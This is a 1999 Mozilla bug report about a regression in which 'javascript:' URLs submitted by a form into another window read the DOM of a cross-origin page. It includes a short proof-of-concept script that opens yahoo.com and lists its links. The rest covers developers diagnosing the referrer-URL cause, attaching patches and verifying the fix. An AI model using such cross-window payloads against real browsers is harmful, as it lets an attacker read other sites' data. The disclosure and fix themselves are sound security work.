18653 - "javascript:" URLs cross windows problems (probably regression bug)

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

In builds 19991110 and 1999111108 (I think previous builds are unaffected)
"javascript:" URLs across windows reveals the DOM of the target document (guess
this is a regression bug).
The code is:
---------------------------------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com","victim");
setTimeout("document.forms[0].submit()",10000);
</SCRIPT>
<FORM ACTION="javascript:s='Here are some links:   ';for(i=0;i< (
(document.links.length < 10) ? document.links.length : 10) ;i++) s +=
document.links[i].href +String.fromCharCode(10);alert(s);" TARGET="victim"
METHOD="POST">
<INPUT TYPE="SUBMIT">
</FORM>
---------------------------------------------------------------------------

Comment 1

[Norris Boyd]

Nisheeth, I wonder if your changes in this area may have caused this regression.
If you put a breakpoint in nsJSProtocolHandler::NewChannel and load the above
URL, you'll see that when it gets the URI from the webshell it gets yahoo rather
than the attacker page, so we fail to stop the attack.

Can you take a look at this? I'm happy to help out, but I don't know much about
URLLoaders.

Comment 2

[Nisheeth Ranjan]

Accepting bug.

Comment 3

[Nisheeth Ranjan]

The change that I had made earlier is documented in bug 1646.  We assumed that
the referrer of the url being loaded in nsJSProtocol::NewChannel() is accessed
by calling nsWebshell->GetURL().  This assumption is not true for the case
when a form is submitted by an "attacking" webshell targeted at a "victim"
webshell.  In that case, nsWebShell->GetURL() returns the URL of the victim
webshell while the correct referrer url is the URL of the attacking webshell.

The fix is to pass the referring URL from the doc loader on to the JS protocol
handler.  If the referrer url parameter to nsJSProtocolHandler::NewChannel() is
non-null, that url is used as the referrer url.  If the parameter is null, the
earlier method of calling nsWebshell->GetURL() is used to determine the referrer
url.

The patches to nsDocLoader.cpp and nsJSProtocolHandler.cpp are attached.

Even with these patches, the call to the security manager's
GetCodebasePrincipal() returns successfully and the attack succeeds.

Re-assigning this to Norris so that he can take it from here.

Comment 4

[Nisheeth Ranjan]

Attachment: nsDocLoader.diff

Comment 5

[Nisheeth Ranjan]

Attachment: nsJSProtocolHandler.diff

Comment 6

[Norris Boyd]

These bugs didn't make M13, postpone until M14.

Comment 7

[Norris Boyd]

Merged nisheeth's patches into the latest version. (I'd fixed the other problem 
in another bug.)

Comment 8

[John Unruh]

Verified fixed.

Comment 9

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.